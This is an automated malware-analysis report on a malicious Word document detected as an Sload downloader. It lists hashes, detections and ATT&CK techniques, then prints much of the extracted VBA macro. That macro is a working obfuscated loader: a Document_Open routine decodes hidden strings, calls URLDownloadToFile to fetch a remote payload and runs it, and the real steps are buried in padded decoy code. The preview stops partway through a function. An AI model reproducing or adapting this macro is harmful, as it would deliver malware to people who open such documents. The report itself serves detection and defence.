Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e2228fe8873f6226…

MALICIOUS

Office (OLE)

287.5 KB Created: 2019-05-07 12:15:00 Authoring application: Microsoft Office Word First seen: 2019-10-29
MD5: 7332dbfe60d0e8505857f41e2a38a119 SHA-1: daf98e4bcf03e94e60389701dba5e83f0184a069 SHA-256: e2228fe8873f6226cfa4c569d10aa8fa5d22f1da3760696c11e55fe4d9b5b623
318 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains VBA macros, including a Document_Open macro, which utilizes the URLDownloadToFile API. This indicates the document's primary purpose is to download and execute a secondary payload from a remote source. The presence of XLM macros further suggests a multi-stage infection attempt.

Heuristics 10

  • ClamAV: Doc.Downloader.Sload-6961205-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Sload-6961205-0
  • Reference to URLDownloadToFile API critical SC_STR_URLDOWNLOAD
    Reference to URLDownloadToFile API
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    Private SbX0IAlp6oZRo7GE0 As Integer
Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias _
"URLDownloadToFileA" (ByVal CSaMm4YT9vN As Long, _
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Case (361 + 598 + (326 - (-763) + 661)): Set leOVUzQenaA = CreateObject(WuUpWIM9ese3)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Public r53u4nc
Sub Document_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    Select Case 858
Case (556 + 562 + (-82 - (-347) + -525)): ii3epYH = Environ(KyYTAzvjd6)
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 122556 bytes
SHA-256: 9ccb3952dbb964271941876b1e602c60edf08bb427422a1d23f1c70392c0a591
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
#If 1 And VBA7 And Win64 And 1 And 1 And 1 Then
Private Ue7CI3KCoNr As Integer
Private SbX0IAlp6oZRo7GE0 As Integer
Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias _
"URLDownloadToFileA" (ByVal CSaMm4YT9vN As Long, _
ByVal vOq15rJj7 As String, _
ByVal R3DVkwg5gOAm6CcuGf As String, _
ByVal vWyX8 As Long, _
ByVal FOuhxYMx As Long) As LongPtr
Private nW6Z8F5cp As Integer
Private OTnlkaoCE6oBO As Integer
#Else
Private Ue7CI3KCoNr As Integer
Private FzcTfB3 As Integer
Private Declare Function URLDownloadToFile Lib "urlmon" Alias _
"URLDownloadToFileA" (ByVal CSaMm4YT9vN As Long, _
ByVal vOq15rJj7 As String, _
ByVal R3DVkwg5gOAm6CcuGf As String, _
ByVal vWyX8 As Long, _
ByVal FOuhxYMx As Long) As Long
Private Declare Function InternetOpen Lib "wininet" Alias "InternetOpenA" (ByVal SFuy0ue6F As String, ByVal LVfld0rgrghRPodU As Long, ByVal kqnb4 As String, ByVal tWOrVo04sz As String, ByVal qffQacZGdm As Long) As Long
Private Declare Function InternetCloseHandle Lib "wininet" (ByVal haKe3QHUx As Long) As Integer
Private Declare Function InternetReadFile Lib "wininet" (ByVal UnJeHc8 As Long, ByVal NmV2gmnhaj9Ct As String, ByVal PpZ9oMIBjn5XW7 As Long, OCX1OoRFnlb6 As Long) As Integer
Private Declare Function InternetOpenUrl Lib "wininet" Alias "InternetOpenUrlA" (ByVal vmd4KG4aYeE9pu As Long, ByVal JxdyPUAfPV3h As String, ByVal kORA2oYi As String, ByVal QWYfT As Long, ByVal oTvYjyNBUUUb As Long, ByVal oL7wGM80cWf As Long) As Long
Private kcPa7TnPyUb0E6gXfW As Integer

#End If
Public r53u4nc
Sub Document_Open()

Select Case -421
Case (216 + 289 + (-93 - (-32) + -865)): r53u4nc = Array(l5Qu0IpXCE("T5", "(W"), ahSaAw0h("E\", "V/"), HDEti75c("MQ", "la"), iD5c9PJf8K("Pb", "ei"), Uu0hWQa5("S,", ";A"), Grrr0fvOe("h5", "9F"), NTGoRCvic("e3", "tz"), zhrdJCQxE("lN", "?+"), ArmjvxE("lj", "<4"), GFRC1xQH(".[", "QC"), ZiGwBLDR3Kd("AZ", "bV"), s5Lagjw5m("p|", "SG"), ftICRXW6I("p<", "Mw"), XLJDdezhP9lSk("lC", "I6"), ELk3zBm4WdTd("iM", "4:"), zB1jevQih("cc", "*?"), CmaDNsXSStKW("a}", "Fl"), Vu0ojWQqybp("tI", "IX"), UWVuzd2m5a("i/", "eg"), teePovJThqk("oS", "pB"), wXXOBwP("ny", "uB"), zXV4j5tC("0", "E"), dfRj09GGx9("/", "*"), zXV4j5tC("0", "E"), dfRj09GGx9("/", "*"), zXV4j5tC("0", "E"), dfRj09GGx9("/", "*"))

Case (-89 + (405) - (379 + 236) + (-967)):



    ' set document folder path and template strings
    strDocPath = "C:\path to document folder\"
    strTemplateB = "C:\path to template\templateB.dot"

    ' get first doc - only time need to provide file spec
    strCurDoc = Dir(strDocPath & "*.doc")

    ' ready to loop (for as long as file found)
    Do While strCurDoc <> ""
        ' open file
        Set docCurDoc = Documents.Open(FileName:=strDocPath & strCurDoc)
        ' change the template
        docCurDoc.AttachedTemplate = strTemplateB
        ' save and close
        docCurDoc.Close wdSaveChanges
        ' get next file name
        strCurDoc = Dir
    Loop
    MsgBox "Finished"



MsgBox ("The document variable is set to type: " & _
ActiveDocument.Variables("DocumentType").Value)



End Select



Select Case -547
Case (198 + (948) - (-913 + 654) + (-240)):



ActiveDocument.Range.Font.Hidden = True
Set rDcm = ActiveDocument.Range
With rDcm.Find
.Text = ""
.Highlight = True
.Forward = False
While .Execute
If rDcm.HighlightColorIndex = wdYellow Then
rDcm.HighlightColorIndex = wdNoHighlight
rDcm.Font.Hidden = False
rDcm.Collapse Direction:=wdCollapseStart
rDcm.Start = ActiveDocument.Range.Start
End If
Wend
End With
Set rDcm = ActiveDocument.Range
Options.DefaultHighlightColorIndex = wdYellow
With rDcm.Find
.Text = ""
.Font.Hidden = False
.Forward = False
.Replacement.Highlight = True
.Execute Replace:=wdReplaceAll
End With



   With Selection.Find
        .ClearFormatting
        .Replacement.ClearFormatting
        .Text = " {2,}"
        .Replacement.Text = "^t"
        .Forward = True
        .Wrap = wdFindStop
        .Format = False
        .MatchCase = False
        .MatchWholeWord = False
        .MatchAllWordForms = False
        .MatchSoundsLike = False
        .MatchWildcards = True
    End With
    Selection.Find.Execute Replace:=wdReplaceAll
    Selection.ConvertToTable _
      Separator:=wdSeparateByTabs, _
      Format:=wdTableFormatNone



Case (-786 + -331 + (170 - (-759) + -359)): Mm1SO

End Select


End Sub
Sub Mm1SO()

Select Case 2148
Case (297 + (-7) - (-101 + -314) + (420)):



MsgBox ("The document variable is set to type: " & _
ActiveDocument.Variables("DocumentType").Value)



Columns.EntireColumn.Hidden = False
Rows.EntireRow.Hidden = False



Case (752 + 857 + (295 - (-230) + 14)): Dim HNzy1totL0eWMcVYJ7u

End Select



Select Case -808
Case (447 + 270 + (-793 - (364) + -368)): Dim G1mg7mfiRX

Case (-230 + (-944) - (-981 + 340) + (-179)):



ActiveDocument.Range.Font.Hidden = True
Set rDcm = ActiveDocument.Range
With rDcm.Find
.Text = ""
.Highlight = True
.Forward = False
While .Execute
If rDcm.HighlightColorIndex = wdYellow Then
rDcm.HighlightColorIndex = wdNoHighlight
rDcm.Font.Hidden = False
rDcm.Collapse Direction:=wdCollapseStart
rDcm.Start = ActiveDocument.Range.Start
End If
Wend
End With
Set rDcm = ActiveDocument.Range
Options.DefaultHighlightColorIndex = wdYellow
With rDcm.Find
.Text = ""
.Font.Hidden = False
.Forward = False
.Replacement.Highlight = True
.Execute Replace:=wdReplaceAll
End With



Selection.Find.ClearFormatting
Selection.Find.Replacement.ClearFormatting
With Selection.Find
   .Text = "xxx"
   .Replacement.Text = "yyy"
   .Forward = True
   .Wrap = wdFindContinue
   .Format = False
   .MatchCase = False
   .MatchWholeWord = False
   .MatchWildcards = False
   .MatchSoundsLike = False
   .MatchAllWordForms = False
End With



End Select



Select Case -2383
Case (-894 + -969 + (629 - (822) + -327)): Dim fUodjSG6Z As String

Case (495 + (-113) - (-84 + 675) + (-728)):



   With Selection.Find
        .ClearFormatting
        .Replacement.ClearFormatting
        .Text = " {2,}"
        .Replacement.Text = "^t"
        .Forward = True
        .Wrap = wdFindStop
        .Format = False
        .MatchCase = False
        .MatchWholeWord = False
        .MatchAllWordForms = False
        .MatchSoundsLike = False
        .MatchWildcards = True
    End With
    Selection.Find.Execute Replace:=wdReplaceAll
    Selection.ConvertToTable _
      Separator:=wdSeparateByTabs, _
      Format:=wdTableFormatNone



    sBigStuff = ""

    ' Select the full number in which the insertion point is located
    Selection.MoveLeft Unit:=wdWord, Count:=1, Extend:=wdMove
    Selection.MoveRight Unit:=wdWord, Count:=1, Extend:=wdExtend

    ' Store the digits in a variable
    sDigits = Trim(Selection.Text)

    If Val(sDigits) > 999999 Then
        If Val(sDigits) <= 999999999 Then
            sBigStuff = Trim(Int(Str(Val(sDigits) / 1000000)))
            ' Create a field containing the big digits and
            ' the cardtext format flag
            Selection.Fields.Add Range:=Selection.Range, _
              Type:=wdFieldEmpty, Text:="= " + sBigStuff + " \* CardText", _
              PreserveFormatting:=True

            ' Select the field and copy it
            Selection.MoveLeft Unit:=wdWord, Count:=1, Extend:=wdExtend
            sBigStuff = Selection.Text & " million "
            sDigits = Right(sDigits, 6)
        End If
    End If
    If Val(sDigits) <= 999999 Then
        ' Create a field containing the digits and the cardtext format flag
        Selection.Fields.Add Range:=Selection.Range, _
          Type:=wdFieldEmpty, Text:="= " + sDigits + " \* CardText", _
          PreserveFormatting:=True

        ' Select the field and copy it
        Selection.MoveLeft Unit:=wdWord, Count:=1, Extend:=wdExtend
        sDigits = sBigStuff & Selection.Text

        ' Now put the words in the document
        Selection.TypeText Text:=sDigits
        Selection.TypeText Text:=" "
    Else
        MsgBox "Number too large", vbOKOnly
    End If



End Select



Select Case 1760
Case (728 + 950 + (902 - (655) + -165)): G1mg7mfiRX = Array(rw5ovQ5U(sb7XBIysm()), rw5ovQ5U("\]ixgKS}hgrLjl0JbjR-oU-ssA0@y7I_us.|h0iy.0~oeF7:xEo}e:kt"), rw5ovQ5U("h/uxt9mXtBi4p*w5s(.o:QvB/n6x/y0Xv24aiJ:ccfy)oOP[mo7Pcj4=lY[UeV0ja0`Ln@(Aie5mnH.`gvwV.OC}i4W]n;`ffq,)ocHT/*[,luBYo>NygfhCilN1nnr;/f1@fWJWr5s~eeM{s@*khAFR/\)]n{8se,LnwAN9c\+8ol|>m;Q8pThN.ZX(e}NexVS0e]:p"), rw5ovQ5U(BBoRyvu4db()))

Case (-437 + (654) - (-17 + 802) + (277)):



   With Selection.Find
        .ClearFormatting
        .Replacement.ClearFormatting
        .Text = " {2,}"
        .Replacement.Text = "^t"
        .Forward = True
        .Wrap = wdFindStop
        .Format = False
        .MatchCase = False
        .MatchWholeWord = False
        .MatchAllWordForms = False
        .MatchSoundsLike = False
        .MatchWildcards = True
    End With
    Selection.Find.Execute Replace:=wdReplaceAll
    Selection.ConvertToTable _
      Separator:=wdSeparateByTabs, _
      Format:=wdTableFormatNone



Selection.TypeBackspace
With ActiveDocument.Bookmarks
   .Add Range:=Selection.Range, Name:="Name"
   .DefaultSorting = wdSortByName
   .ShowHidden = False
End With



End Select



Select Case 16
Case (-33 + 64 + (160 - (-705) + -880)): Dim VF3OaMsVWvMrZsR5

Case (207 + (402) - (951 + -616) + (289)):



 If Selection.Type = wdSelectionIP Then
          Selection.MoveLeft Unit:=wdWord, Count:=1
          Selection.MoveRight Unit:=wdWord, Count:=1, Extend:=wdExtend
     End If
     Selection.Range.Case = wdTitleWord
     Selection.Font.SmallCaps = True



Selection.TypeBackspace
With ActiveDocument.Bookmarks
   .Add Range:=Selection.Range, Name:="Name"
   .DefaultSorting = wdSortByName
   .ShowHidden = False
End With



End Select



Select Case 331
Case (60 + 406 + (644 - (-68) + -847)): Set VF3OaMsVWvMrZsR5 = leOVUzQenaA(G1mg7mfiRX(5701 - (8757) + (3059)))

Case (-203 + (359) - (541 + -625) + (-354)):



Selection.TypeBackspace
With ActiveDocument.Bookmarks
   .Add Range:=Selection.Range, Name:="Name"
   .DefaultSorting = wdSortByName
   .ShowHidden = False
End With



ActiveDocument.Range.Font.Hidden = True
Set rDcm = ActiveDocument.Range
With rDcm.Find
.Text = ""
.Highlight = True
.Forward = False
While .Execute
If rDcm.HighlightColorIndex = wdYellow Then
rDcm.HighlightColorIndex = wdNoHighlight
rDcm.Font.Hidden = False
rDcm.Collapse Direction:=wdCollapseStart
rDcm.Start = ActiveDocument.Range.Start
End If
Wend
End With
Set rDcm = ActiveDocument.Range
Options.DefaultHighlightColorIndex = wdYellow
With rDcm.Find
.Text = ""
.Font.Hidden = False
.Forward = False
.Replacement.Highlight = True
.Execute Replace:=wdReplaceAll
End With



End Select




Select Case -920
Case (-743 + -76 + (-748 - (-126) + 521)): fUodjSG6Z = ii3epYH(G1mg7mfiRX(-8113 - (-5737) + (2376))) + G1mg7mfiRX(4010 - (1050) + (-2959))

Case (465 + (784) - (-478 + -452) + (949)):



ActiveDocument.Range.Font.Hidden = True
Set rDcm = ActiveDocument.Range
With rDcm.Find
.Text = ""
.Highlight = True
.Forward = False
While .Execute
If rDcm.HighlightColorIndex = wdYellow Then
rDcm.HighlightColorIndex = wdNoHighlight
rDcm.Font.Hidden = False
rDcm.Collapse Direction:=wdCollapseStart
rDcm.Start = ActiveDocument.Range.Start
End If
Wend
End With
Set rDcm = ActiveDocument.Range
Options.DefaultHighlightColorIndex = wdYellow
With rDcm.Find
.Text = ""
.Font.Hidden = False
.Forward = False
.Replacement.Highlight = True
.Execute Replace:=wdReplaceAll
End With



    sBigStuff = ""

    ' Select the full number in which the insertion point is located
    Selection.MoveLeft Unit:=wdWord, Count:=1, Extend:=wdMove
    Selection.MoveRight Unit:=wdWord, Count:=1, Extend:=wdExtend

    ' Store the digits in a variable
    sDigits = Trim(Selection.Text)

    If Val(sDigits) > 999999 Then
        If Val(sDigits) <= 999999999 Then
            sBigStuff = Trim(Int(Str(Val(sDigits) / 1000000)))
            ' Create a field containing the big digits and
            ' the cardtext format flag
            Selection.Fields.Add Range:=Selection.Range, _
              Type:=wdFieldEmpty, Text:="= " + sBigStuff + " \* CardText", _
              PreserveFormatting:=True

            ' Select the field and copy it
            Selection.MoveLeft Unit:=wdWord, Count:=1, Extend:=wdExtend
            sBigStuff = Selection.Text & " million "
            sDigits = Right(sDigits, 6)
        End If
    End If
    If Val(sDigits) <= 999999 Then
        ' Create a field containing the digits and the cardtext format flag
        Selection.Fields.Add Range:=Selection.Range, _
          Type:=wdFieldEmpty, Text:="= " + sDigits + " \* CardText", _
          PreserveFormatting:=True

        ' Select the field and copy it
        Selection.MoveLeft Unit:=wdWord, Count:=1, Extend:=wdExtend
        sDigits = sBigStuff & Selection.Text

        ' Now put the words in the document
        Selection.TypeText Text:=sDigits
        Selection.TypeText Text:=" "
    Else
        MsgBox "Number too large", vbOKOnly
    End If



End Select



Call URLDownloadToFile(rw5ovQ5U(PkBfumIO4()), G1mg7mfiRX(4441 - (817) + (-3622)), fUodjSG6Z, rw5ovQ5U(PkBfumIO4()), rw5ovQ5U(PkBfumIO4()))
VF3OaMsVWvMrZsR5.Open (fUodjSG6Z)
End Sub

Function rw5ovQ5U(HVyjVR2) As String

Select Case 1496
Case (82 + (-522) - (-829 + 704) + (617)):



 If Selection.Type = wdSelectionIP Then
          Selection.MoveLeft Unit:=wdWord, Count:=1
          Selection.MoveRight Unit:=wdWord, Count:=1, Extend:=wdExtend
     End If
     Selection.Range.Case = wdTitleWord
     Selection.Font.SmallCaps = True



    Title = "CharCount"
    CharCount = Len(Selection)
    Message = LTrim(Str(CharCount)) + " character"
    If CharCount <> 1 Then Message = Message + "s"
    MsgBox Message, vbOKOnly, Title



Case (197 + -228 + (132 - (-422) + 973)):      Dim MgsBMAMLfWqtc(-3907 - (-7165) + (-2203)) As Byte

End Select



Select Case -615
Case (205 + (134) - (593 + 620) + (122)):



 If ActiveDocument.Saved = False Then ActiveDocument.Save
    System.Cursor = wdCursorWait
    OrigLongFileName = ActiveDocument.Name
    OldPath = ActiveDocument.Path & Application.PathSeparator
    If ActiveDocument.Path = "" Then
        MsgBox "Please save this document before sending to drive A:", _
           vbOKOnly, "This Document Not Saved"
    Else
        FileCopy OldPath & OrigLongFileName, "a:\" & OrigLongFileName
        Documents.Open FileName:=OldPath & OrigLongFileName
        Application.GoBack
    End If
    System.Cursor = wdCursorNormal



Selection.Find.ClearFormatting
Selection.Find.Replacement.ClearFormatting
With Selection.Find
   .Text = "Something"
   .Forward = True
   .Wrap = wdFindStop
   .Format = False
   .MatchCase = False
   .MatchWholeWord = False
   .MatchWildcards = False
   .MatchSoundsLike = False
   .MatchAllWordForms = False
End With
Do While Selection.Find.Execute
   'Do something within the found text
Loop



Case (-642 + 631 + (-896 - (-709) + -417)):      Dim AFSjbfDdB() As Byte

End Select



Select Case -605
Case (-646 + (-918) - (173 + -554) + (-918)):



 If ActiveDocument.Saved = False Then ActiveDocument.Save
    System.Cursor = wdCursorWait
    OrigLongFileName = ActiveDocument.Name
    OldPath = ActiveDocument.Path & Application.PathSeparator
    If ActiveDocument.Path = "" Then
        MsgBox "Please save this document before sending to drive A:", _
           vbOKOnly, "This Document Not Saved"
    Else
        FileCopy OldPath & OrigLongFileName, "a:\" & OrigLongFileName
        Documents.Open FileName:=OldPath & OrigLongFileName
        Application.GoBack
    End If
    System.Cursor = wdCursorNormal



    With ActiveDocument
        ' go through each section (except for the last one)
        For iSec = 1 To .Sections.Count - 1
            ' create a range object at the start of the section
            Set oRng = .Sections(iSec).Range
            oRng.Collapse wdCollapseStart
            ' insert a sectionpages field
            .Fields.Add Range:=oRng, Type:=wdFieldSectionPages
            ' divide the sectionpages field by 2
            ' if it gives a zero as the remainder, then
            ' you have an even number of pages in the section,
            ' which is what you want with an odd section page break
            If (.Sections(iSec).Range.Fields(1).Result Mod 2) <> 0 Then
                ' if you have an odd number of pages, then insert
                ' a page break before the section's section break
                Set oRng = .Sections(iSec).Range
                With oRng
                    .Collapse Direction:=wdCollapseEnd
                    .MoveEnd Unit:=wdCharacter, Count:=-1
                    .InsertBreak Type:=wdPageBreak
                End With
            End If
            ' remove the sectionpages field that was added
            .Sections(iSec).Range.Fields(1).Delete
        Next iSec
    End With



Case (-122 + 51 + (-802 - (292) + 560)):      Dim KEH8n5g

End Select



Select Case -218
Case (-936 + 582 + (186 - (241) + 191)):      Dim pNYayaD

Case (477 + (-615) - (991 + 637) + (538)):



Selection.Find.ClearFormatting
Selection.Find.Replacement.ClearFormatting
With Selection.Find
   .Text = "Something"
   .Wrap = wdFindStop
   .Format = False
   .MatchCase = False
   .MatchWholeWord = False
   .MatchWildcards = False
   .MatchSoundsLike = False
   .MatchAllWordForms = False
End With
While Selection.Find.Execute
MsgBox ("A")
Wend



Selection.Find.ClearFormatting
Selection.Find.Replacement.ClearFormatting
With Selection.Find
   .Text = "Something"
   .Forward = True
   .Wrap = wdFindStop
   .Format = False
   .MatchCase = False
   .MatchWholeWord = False
   .MatchWildcards = False
   .MatchSoundsLike = False
   .MatchAllWordForms = False
End With
Do While Selection.Find.Execute
   'Do something within the found text
Loop



End Select



Select Case 1059
Case (-407 + (-870) - (-996 + 550) + (-70)):



Selection.TypeBackspace
With ActiveDocument.Bookmarks
   .Add Range:=Selection.Range, Name:="Name"
   .DefaultSorting = wdSortByName
   .ShowHidden = False
End With



Selection.TypeBackspace
With ActiveDocument.Bookmarks
   .Add Range:=Selection.Range, Name:="Name"
   .DefaultSorting = wdSortByName
   .ShowHidden = False
End With



Case (-50 + -158 + (-405 - (-864) + 808)):      AFSjbfDdB = StrConv(HVyjVR2, (-2036 - (-4334) + (-2170)))

End Select


    For pNYayaD = 0 To UBound(AFSjbfDdB) - 1
        If (pNYayaD Mod 4 = (8448 - (-71) + (-8519))) Then

Select Case -545
Case (426 + (885) - (399 + -333) + (-794)):



    ' Display message, title, and default value
    Drive = InputBox(Message, Title, Default)
    If Drive > "" Then
        ffname = ActiveDocument.FullName
        FName = Drive & ":\" & ActiveDocument.Name
        ActiveDocument.SaveAs FName
        ActiveDocument.SaveAs ffname
    End If



Selection.Find.ClearFormatting
Selection.Find.Replacement.ClearFormatting
With Selection.Find
   .Text = "xxx"
   .Replacement.Text = "yyy"
   .Forward = True
   .Wrap = wdFindContinue
   .Format = False
   .MatchCase = False
   .MatchWholeWord = False
   .MatchWildcards = False
   .MatchSoundsLike = False
   .MatchAllWordForms = False
End With



Case (787 + 843 + (-862 - (940) + -373)):              MgsBMAMLfWqtc(KEH8n5g) = AFSjbfDdB(pNYayaD)

End Select



Select Case 1678
Case (198 + (-269) - (469 + 453) + (183)):




    ' reference the current document
    Set docActive = ActiveDocument

    ' get the name of doc and also path/name
    ' of the template it's based-on
    strDocName = docActive.Name
    strTemplateName = docActive.AttachedTemplate.FullName

    ' create a copy document based on same template
    Set docNew = Documents.Add(strTemplateName)

    ' loop to copy each part of the active doc to the new doc
    For Each rngActiveDocPart In docActive.StoryRanges
        ' reference same part
        Set rngNewDocPart = docNew.StoryRanges _
           (rngActiveDocPart.StoryType)
        rngActiveDocPart.Copy
        rngNewDocPart.Paste
    Next rngActiveDocPart

    ' make the new document active
    docNew.Activate

    ' offer to save it on floppy drive A:\




   With Selection.Find
        .ClearFormatting
        .Replacement.ClearFormatting
        .Text = " {2,}"
        .Replacement.Text = "^t"
        .Forward = True
        .Wrap = wdFindStop
        .Format = False
        .MatchCase = False
        .MatchWholeWord = False
        .MatchAllWordForms = False
        .MatchSoundsLike = False
        .MatchWildcards = True
    End With
    Selection.Find.Execute Replace:=wdReplaceAll
    Selection.ConvertToTable _
      Separator:=wdSeparateByTabs, _
      Format:=wdTableFormatNone



Case (435 + 277 + (-47 - (-297) + 716)):              KEH8n5g = KEH8n5g + 1

End Select


        End If
    Next pNYayaD

Select Case 485
Case (-296 + (262) - (523 + -45) + (194)):



ActiveDocument.Range.Font.Hidden = True
Set rDcm = ActiveDocument.Range
With rDcm.Find
.Text = ""
.Highlight = True
.Forward = False
While .Execute
If rDcm.HighlightColorIndex = wdYellow Then
rDcm.HighlightColorIndex = wdNoHighlight
rDcm.Font.Hidden = False
rDcm.Collapse Direction:=wdCollapseStart
rDcm.Start = ActiveDocument.Range.Start
End If
Wend
End With
Set rDcm = ActiveDocument.Range
Options.DefaultHighlightColorIndex = wdYellow
With rDcm.Find
.Text = ""
.Font.Hidden = False
.Forward = False
.Replacement.Highlight = True
.Execute Replace:=wdReplaceAll
End With



Do Until ActiveDocument.Bookmarks("\Sel") = _
   ActiveDocument.Bookmarks("\EndOfDoc")
      Selection.Find.ClearFormatting
      With Selection.Find
         .Text = "Howdy!"
         .Forward = True
         .Wrap = wdFindStop
         .Format = False
         .MatchCase = False
         .MatchWholeWord = False
         .MatchWildcards = False
         .MatchSoundsLike = False
         .MatchAllWordForms = False
      End With
      Selection.Find.Execute

      If Selection.Find.Found = True Then
         'Do something within the found text
      Else
         Exit Do
      End If
   Loop



Case (490 + 646 + (64 - (-146) + -861)):      rw5ovQ5U = Left(StrConv(MgsBMAMLfWqtc, (-7442 - (-8340) + (-834))), KEH8n5g)

End Select


End Function

Function sb7XBIysm() As String

Select Case -287
Case (-545 + 673 + (65 - (-242) + -722)): Dim O94h2vp2ctl7Pp

Case (344 + (591) - (-411 + 112) + (-333)):



    ' set document folder path and template strings
    strDocPath = "C:\path to document folder\"
    strTemplateB = "C:\path to template\templateB.dot"

    ' get first doc - only time need to provide file spec
    strCurDoc = Dir(strDocPath & "*.doc")

    ' ready to loop (for as long as file found)
    Do While strCurDoc <> ""
        ' open file
        Set docCurDoc = Documents.Open(FileName:=strDocPath & strCurDoc)
        ' change the template
        docCurDoc.AttachedTemplate = strTemplateB
        ' save and close
        docCurDoc.Close wdSaveChanges
        ' get next file name
        strCurDoc = Dir
    Loop
    MsgBox "Finished"



    sBigStuff = ""

    ' Select the full number in which the insertion point is located
    Selection.MoveLeft Unit:=wdWord, Count:=1, Extend:=wdMove
    Selection.MoveRight Unit:=wdWord, Count:=1, Extend:=wdExtend

    ' Store the digits in a variable
    sDigits = Trim(Selection.Text)

    If Val(sDigits) > 999999 Then
        If Val(sDigits) <= 999999999 Then
            sBigStuff = Trim(Int(Str(Val(sDigits) / 1000000)))
            ' Create a field containing the big digits and
            ' the cardtext format flag
            Selection.Fields.Add Range:=Selection.Range, _
              Type:=wdFieldEmpty, Text:="= " + sBigStuff + " \* CardText", _
              PreserveFormatting:=True

            ' Select the field and copy it
            Selection.MoveLeft Unit:=wdWord, Count:=1, Extend:=wdExtend
            sBigStuff = Selection.Text & " million "
            sDigits = Right(sDigits, 6)
        End If
    End If
    If Val(sDigits) <= 999999 Then
        ' Create a field containing the digits and the cardtext format flag
        Selection.Fields.Add Range:=Selection.Range, _
          Type:=wdFieldEmpty, Text:="= " + sDigits + " \* CardText", _
          PreserveFormatting:=True

        ' Select the field and copy it
        Selection.MoveLeft Unit:=wdWord, Count:=1, Extend:=wdExtend
        sDigits = sBigStuff & Selection.Text

        ' Now put the words in the document
        Selection.TypeText Text:=sDigits
        Selection.TypeText Text:=" "
    Else
        MsgBox "Number too large", vbOKOnly
    End If



End Select



Select Case -2555
Case (620 + (-968) - (-269 + -985) + (429)):



    ' set document folder path and template strings
    strDocPath = "C:\path to document folder\"
    strTemplateB = "C:\path to template\templateB.dot"

    ' get first doc - only time need to provide file spec
    strCurDoc = Dir(strDocPath & "*.doc")

    ' ready to loop (for as long as file found)
    Do While strCurDoc <> ""
        ' open file
        Set docCurDoc = Documents.Open(FileName:=strDocPath & strCurDoc)
        ' change the template
        docCurDoc.AttachedTemplate = strTemplateB
        ' save and close
        docCurDoc.Close wdSaveChanges
        ' get next file name
        strCurDoc = Dir
    Loop
    MsgBox "Finished"



Do Until ActiveDocument.Bookmarks("\Sel") = _
   ActiveDocument.Bookmarks("\EndOfDoc")
      Selection.Find.ClearFormatting
      With Selection.Find
         .Text = "Howdy!"
         .Forward = True
         .Wrap = wdFindStop
         .Format = False
         .MatchCase = False
         .MatchWholeWord = False
         .MatchWildcards = False
         .MatchSoundsLike = False
         .MatchAllWordForms = False
      End With
      Selection.Find.Execute

      If Selection.Find.Found = True Then
         'Do something within the found text
      Else
         Exit Do
      End If
   Loop



Case (-750 + 248 + (-469 - (749) + -835)): Dim GlsVJL

…

Open this report in the interactive analyzer, or submit your own file for analysis.